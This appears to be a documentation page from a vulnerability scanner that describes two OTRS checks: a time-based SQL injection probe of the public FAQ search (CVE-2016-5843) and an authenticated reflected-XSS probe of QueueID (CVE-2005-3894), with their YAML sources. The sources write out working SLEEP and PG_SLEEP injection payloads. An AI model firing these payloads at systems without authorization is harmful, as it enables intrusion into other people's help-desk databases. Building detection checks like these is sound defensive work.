OTRS — 2 vulnerability checks
noctis ships 2 vulnerability checks for OTRS, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
OTRS FAQ package public search LanguageIDs SQL injection
| CVE | CVE-2016-5843 |
|---|---|
| Severity | critical · CVSS 9.4 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/otrs/CVE-2016-5843.yaml |
The FAQ package for OTRS (2.x before 2.3.6, 4.x before 4.0.5, 5.x before 5.0.5) builds the SQL of its search with the LanguageIDs parameter copied unquoted into an `IN (...)` list. The public FAQ search (public.pl?Action=PublicFAQSearch) needs no login, so any remote user can inject SQL.
This check first confirms the public FAQ explorer page is present, sends a benign search as a timing baseline, then sends the same search with LanguageIDs closing the `IN` list and adding an always-true condition that makes the database sleep: a derived-table SLEEP for MySQL/MariaDB, then a PG_SLEEP subquery for PostgreSQL. It reports the finding only when two random delays both show up over the baseline, each within its own window, and the longer one takes measurably longer. Nothing is read from or written to the database.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{otrs_dir}}/public.pl?Action=PublicFAQExplorer - HTTP(S) request
POST {{otrs_dir}}/public.plwith a crafted body - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{otrs_dir}}/public.plwith a crafted body - HTTP(S) request
POST {{otrs_dir}}/public.plwith a crafted body - Parses / computes the next value with a Rhai script
- Checks
tm.foundfor^SLEEP$→ finding QoD 75: Time-based SQLi (MySQL/MariaDB) in LanguageIDs of POST …/public.pl Action=PublicFAQSearch: LanguageIDs=2) AND (SELECT * FROM (SELECT(SLEEP(… - HTTP(S) request
POST {{otrs_dir}}/public.plwith a crafted body - HTTP(S) request
POST {{otrs_dir}}/public.plwith a crafted body - Parses / computes the next value with a Rhai script
- Checks
tp.foundfor^PG_SLEEP$→ finding QoD 75: Time-based SQLi (PostgreSQL) in LanguageIDs of POST …/public.pl Action=PublicFAQSearch: LanguageIDs=2) AND 9372=(SELECT 9372 FROM PG_SLEEP(…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2016-5843
- https://www.otrs.com/security-advisory-2016-01-security-update-otrs-faq-package/
- https://github.com/OTRS/FAQ/commit/b805703e7b7725d1f3040bb626a4c4dd845ee9e3
Feed source — tests/vulnerabilities/otrs/CVE-2016-5843.yaml
# OTRS FAQ package — LanguageIDs SQL injection in the public FAQ search
#
# The FAQ package's FAQSearch() (Kernel/System/FAQ.pm) joins the LanguageIDs
# array it receives from the unauthenticated public search
# (public.pl?Action=PublicFAQSearch&Subaction=Search) into
# ... AND i.f_language_id IN (<LanguageIDs>) ...
# without quoting. FAQ 2.3.6, 4.0.5 and 5.0.5 quote every ID as an integer.
#
# Detection, as the reference check: gate on the public FAQ explorer page,
# then close the IN list and add a time-delay condition, first for MySQL /
# MariaDB, then for PostgreSQL (the two databases the public search is
# usually backed by):
# MySQL: 2) AND (SELECT * FROM (SELECT(SLEEP(n)))nwrQ) AND (4570=4570
# PostgreSQL: 2) AND 9372=(SELECT 9372 FROM PG_SLEEP(n)) AND (4256=4256
# Both forms run exactly once per query, whatever the number of FAQ rows —
# measured on MariaDB 10.11 and PostgreSQL 16 against the FAQSearch query
# shape with an empty and a populated faq_item table (MariaDB materialises the
# derived table once; PostgreSQL turns the scalar subquery into an InitPlan
# behind a One-Time Filter). Both are always-true and read nothing: no data is
# returned or written.
#
# Differences from the reference check (which counts 2 of 3 delays 3/5/7 s
# within [n, n + explorer latency]): a benign LanguageIDs=2 search is the
# baseline, two random delays (n, n + 3) must each land in their own window
# above it, and the longer one must take >= 2 s more than the shorter — a
# server that holds every SLEEP-looking request for a fixed time (WAF/IPS
# tarpit) gives no gap and stays clean. The longer delay is sent first, so a
# WAF that holds each successive request longer fails its window too. Windows
# allow 1 s of jitter below the delay (slow plain-CGI installs), and only a
# baseline under 8 s is timed. Install paths /otrs (the default) and
# the web root are both tried. OTRS renders the whole page before printing
# it, so http_request's header-time duration_ms covers the query.
#
# Source: OpenVAS/Greenbone NASL 2016/gb_otrs_faq_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.106290, GPL-2.0-only)
uid: 8d8404c9-c2d2-48a2-87cf-6e49eaf7c9ad
name: "OTRS FAQ package public search LanguageIDs SQL injection (CVE-2016-5843)"
description: |
The FAQ package for OTRS (2.x before 2.3.6, 4.x before 4.0.5, 5.x before
5.0.5) builds the SQL of its search with the LanguageIDs parameter copied
unquoted into an `IN (...)` list. The public FAQ search
(public.pl?Action=PublicFAQSearch) needs no login, so any remote user can
inject SQL.
This check first confirms the public FAQ explorer page is present, sends a
benign search as a timing baseline, then sends the same search with
LanguageIDs closing the `IN` list and adding an always-true condition that
makes the database sleep: a derived-table SLEEP for MySQL/MariaDB, then a
PG_SLEEP subquery for PostgreSQL. It reports the finding only when two
random delays both show up over the baseline, each within its own window,
and the longer one takes measurably longer. Nothing is read from or written
to the database.
cves: [CVE-2016-5843]
cvss: 9.4
severity: critical
confidence_base: 0.35
category: sqli
tags: [otrs, faq, sqli, time-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2016-5843"
- "https://www.otrs.com/security-advisory-2016-01-security-update-otrs-faq-package/"
- "https://github.com/OTRS/FAQ/commit/b805703e7b7725d1f3040bb626a4c4dd845ee9e3"
- "OpenVAS/Greenbone NASL 2016/gb_otrs_faq_sql_inj_vuln.nasl (GPL-2.0-only)"
steps:
# ── Random delays and the fixed part of the search form ────────────────────
- id: gen-delays
action: script
code: |
let s1 = rand_int(4, 5);
#{
s1: s1,
s2: s1 + 3,
head: "Action=PublicFAQSearch&Subaction=Search&Number=&Fulltext=&Title=&Keyword=&LanguageIDs=",
tail: "&VoteSearchOption=&VoteSearchType=Equals&VoteSearch=&RateSearchOption=&RateSearchType=Equals&RateSearch=0&TimeSearchType=&ItemCreateTimePointStart=Last&ItemCreateTimePoint=1&ItemCreateTimePointFormat=day&ItemCreateTimeStartMonth=8&ItemCreateTimeStartDay=28&ItemCreateTimeStartYear=2016&ItemCreateTimeStopMonth=9&ItemCreateTimeStopDay=27&ItemCreateTimeStopYear=2016&ResultForm=Normal"
}
store_as: sc
# ── Per candidate install path (loop group) ────────────────────────────────
# Pre-initialise every stored result a script reads: a failed request
# leaves store_as unset and an undefined var would abort the whole test.
- id: init-page
action: set_var
var_name: page
var_value: {status: 0, body: null}
loop:
over: ["/otrs", ""]
var: otrs_dir
- id: init-base
action: set_var
var_name: base_resp
var_value: {status: 0, body: null, duration_ms: 0}
- id: init-my1
action: set_var
var_name: my1
var_value: {status: 0, body: null, duration_ms: 0}
- id: init-my2
action: set_var
var_name: my2
var_value: {status: 0, body: null, duration_ms: 0}
- id: init-pg1
action: set_var
var_name: pg1
var_value: {status: 0, body: null, duration_ms: 0}
- id: init-pg2
action: set_var
var_name: pg2
var_value: {status: 0, body: null, duration_ms: 0}
# ── Gate: the public FAQ explorer must be there ────────────────────────────
- id: explorer
action: http_request
method: GET
port: "{{port}}"
path: "{{otrs_dir}}/public.pl?Action=PublicFAQExplorer"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: page
# Baseline: the same search with a plain integer LanguageIDs.
- id: baseline
action: http_request
method: POST
port: "{{port}}"
path: "{{otrs_dir}}/public.pl"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "{{sc.head}}2{{sc.tail}}"
condition: "page.status == 200 && type_of(page.body) == \"string\" && page.body.contains(\"<title>FAQ -\")"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: base_resp
- id: check-baseline
action: script
code: |
let ok = page.status == 200 && type_of(page.body) == "string" && page.body.contains("<title>FAQ -")
&& base_resp.status == 200 && base_resp.duration_ms < 8000;
#{ ok: ok }
store_as: bl
# ── MySQL / MariaDB: derived-table SLEEP ───────────────────────────────────
- id: mysql-sleep-2
action: http_request
method: POST
port: "{{port}}"
path: "{{otrs_dir}}/public.pl"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "{{sc.head}}2)+AND+(SELECT+*+FROM+(SELECT(SLEEP({{sc.s2}})))nwrQ)+AND+(4570%3D4570{{sc.tail}}"
condition: "bl.ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 25
store_as: my2
- id: mysql-sleep-1
action: http_request
method: POST
port: "{{port}}"
path: "{{otrs_dir}}/public.pl"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "{{sc.head}}2)+AND+(SELECT+*+FROM+(SELECT(SLEEP({{sc.s1}})))nwrQ)+AND+(4570%3D4570{{sc.tail}}"
condition: "bl.ok && my2.duration_ms >= base_resp.duration_ms + sc.s2 * 1000 - 1000 && my2.duration_ms <= base_resp.duration_ms + sc.s2 * 1000 + 4000"
tls_insecure: true
follow_redirects: false
timeout_secs: 25
store_as: my1
# Each delay within its own window over the baseline, and the longer SLEEP
# measurably longer than the shorter one (a constant tarpit gives no gap).
- id: check-mysql
action: script
code: |
let base = base_resp.duration_ms;
let d1 = my1.duration_ms - base;
let d2 = my2.duration_ms - base;
let w1 = d1 >= sc.s1 * 1000 - 1000 && d1 <= sc.s1 * 1000 + 4000;
let w2 = d2 >= sc.s2 * 1000 - 1000 && d2 <= sc.s2 * 1000 + 4000;
let hit = bl.ok && my1.status == 200 && my2.status == 200 && w1 && w2 && (d2 - d1) >= 2000;
#{ hit: hit, found: if hit { "SLEEP" } else { "" } }
store_as: tm
- id: report-mysql
action: match
source: tm.found
pattern: "^SLEEP$"
condition: "tm.hit"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "Time-based SQLi (MySQL/MariaDB) in LanguageIDs of POST {{otrs_dir}}/public.pl Action=PublicFAQSearch: LanguageIDs=2) AND (SELECT * FROM (SELECT(SLEEP(n)))nwrQ) AND (4570=4570 delayed the reply by the injected n — baseline {{base_resp.duration_ms}} ms, SLEEP({{sc.s1}}) {{my1.duration_ms}} ms, SLEEP({{sc.s2}}) {{my2.duration_ms}} ms"
stop: true
# ── PostgreSQL: scalar PG_SLEEP subquery (only when MySQL gave nothing) ────
- id: pg-sleep-2
action: http_request
method: POST
port: "{{port}}"
path: "{{otrs_dir}}/public.pl"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "{{sc.head}}2)+AND+9372%3D(SELECT+9372+FROM+PG_SLEEP({{sc.s2}}))+AND+(4256%3D4256{{sc.tail}}"
condition: "bl.ok && !tm.hit"
tls_insecure: true
follow_redirects: false
timeout_secs: 25
store_as: pg2
- id: pg-sleep-1
action: http_request
method: POST
port: "{{port}}"
path: "{{otrs_dir}}/public.pl"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "{{sc.head}}2)+AND+9372%3D(SELECT+9372+FROM+PG_SLEEP({{sc.s1}}))+AND+(4256%3D4256{{sc.tail}}"
condition: "bl.ok && !tm.hit && pg2.duration_ms >= base_resp.duration_ms + sc.s2 * 1000 - 1000 && pg2.duration_ms <= base_resp.duration_ms + sc.s2 * 1000 + 4000"
tls_insecure: true
follow_redirects: false
timeout_secs: 25
store_as: pg1
- id: check-pg
action: script
code: |
let base = base_resp.duration_ms;
let d1 = pg1.duration_ms - base;
let d2 = pg2.duration_ms - base;
let w1 = d1 >= sc.s1 * 1000 - 1000 && d1 <= sc.s1 * 1000 + 4000;
let w2 = d2 >= sc.s2 * 1000 - 1000 && d2 <= sc.s2 * 1000 + 4000;
let hit = bl.ok && !tm.hit && pg1.status == 200 && pg2.status == 200 && w1 && w2 && (d2 - d1) >= 2000;
#{ hit: hit, found: if hit { "PG_SLEEP" } else { "" } }
store_as: tp
- id: report-pg
action: match
source: tp.found
pattern: "^PG_SLEEP$"
condition: "tp.hit"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "Time-based SQLi (PostgreSQL) in LanguageIDs of POST {{otrs_dir}}/public.pl Action=PublicFAQSearch: LanguageIDs=2) AND 9372=(SELECT 9372 FROM PG_SLEEP(n)) AND (4256=4256 delayed the reply by the injected n — baseline {{base_resp.duration_ms}} ms, PG_SLEEP({{sc.s1}}) {{pg1.duration_ms}} ms, PG_SLEEP({{sc.s2}}) {{pg2.duration_ms}} ms"
stop: trueOTRS 1.0.0-1.3.2 / 2.0.0-2.0.3 index.pl QueueID reflected XSS
| CVE | CVE-2005-3894 |
|---|---|
| Severity | medium · CVSS 4.3 |
| Category | xss — XSS |
| Services | http, https |
| Detection | http_request, script, match · highest QoD 75 · needs scan credentials |
| Feed | tests/vulnerabilities/otrs/CVE-2005-3894.yaml |
Authenticated feed: logs in to the OTRS agent interface (index.pl) with the supplied credentials, then requests index.pl with a QueueID value carrying a harmless HTML tag that embeds a per-run marker. The finding is reported when the marker tag comes back unencoded in the logged-in page, which confirms the QueueID parameter is not output-encoded.
How noctis detects it
- HTTP(S) request
POST /index.plwith a crafted body - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /index.pl?QueueID="><b>noctis-xss-{{oob_token}}</b>" - Checks
probe.bodyfor<b>noctis-xss-[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f…→ finding QoD 75: QueueID reflected unencoded in the authenticated OTRS index.pl page (marker tag returned as HTML)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2005-3894
- https://nvd.nist.gov/vuln/detail/CVE-2005-3893
- https://nvd.nist.gov/vuln/detail/CVE-2005-3895
Feed source — tests/vulnerabilities/otrs/CVE-2005-3894.yaml
uid: 3b6f2c1e-8a47-4d09-9e5a-71c0d4a8b3f2
name: "CVE-2005-3894 — OTRS 1.0.0-1.3.2 / 2.0.0-2.0.3 index.pl QueueID reflected XSS"
description: "Authenticated feed: logs in to the OTRS agent interface (index.pl) with the supplied credentials, then requests index.pl with a QueueID value carrying a harmless HTML tag that embeds a per-run marker. The finding is reported when the marker tag comes back unencoded in the logged-in page, which confirms the QueueID parameter is not output-encoded."
cves: [CVE-2005-3894]
cvss: 4.3
severity: medium
category: xss
confidence_base: 0.30
tags: [otrs, authenticated, xss, reflected]
services: [http, https]
author: noctis
version: "1.0.0"
# Authenticated feed: the operator supplies agent credentials on POST /scans
# (credentials {username,password}); the feed is skipped when none are given.
requires_credentials: true
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2005-3894"
- "https://nvd.nist.gov/vuln/detail/CVE-2005-3893"
- "https://nvd.nist.gov/vuln/detail/CVE-2005-3895"
- "OpenVAS NASL 2013/gb_otrs_mul_input_val_vuln.nasl (GPL-2.0-only)"
# Ported from OpenVAS/Greenbone NASL 2013/gb_otrs_mul_input_val_vuln.nasl (GPL-2.0-only).
# CVE mapping: the issue tracks CVE-2005-3893 (login SQLi), 3894 (QueueID/Action XSS) and
# 3895 (inline attachment HTML). The NASL's only active check is the logged-in QueueID
# reflection, which is CVE-2005-3894 (CVSS 4.3 in NVD), so that is the CVE the finding names.
# Differences from the NASL: the payload is an inert <b> tag carrying a per-run marker
# instead of a <script> alert; the match requires the tag unencoded AND the logged-in
# "Logout" link, and the login must have produced a session cookie.
steps:
- id: login
action: http_request
method: POST
path: "/index.pl"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "Action=Login&RequestedURL=&Lang=en&TimeOffset=0&User={{cred_username}}&Password={{cred_password}}"
store_as: login
- id: extract-session
action: script
code: |
let sc = "";
if "set-cookie" in login.headers { sc = login.headers["set-cookie"]; }
let m = eregmatch("Session=([A-Za-z0-9]+)", sc);
if m.len() > 1 { m[1] } else { "" }
store_as: session_id
- id: probe
action: http_request
method: GET
path: "/index.pl?QueueID=\"><b>noctis-xss-{{oob_token}}</b>\""
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "session_id != \"\""
headers:
Cookie: "Session={{session_id}}"
store_as: probe
- id: detect
action: match
source: probe.body
pattern: "<b>noctis-xss-[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}</b>"
condition: "session_id != \"\" && probe.status == 200 && stridx(probe.body, \"Logout\") >= 0"
on_match:
finding:
confidence_delta: 0.45
qod: 75
evidence: "QueueID reflected unencoded in the authenticated OTRS index.pl page (marker tag returned as HTML)"
stop: true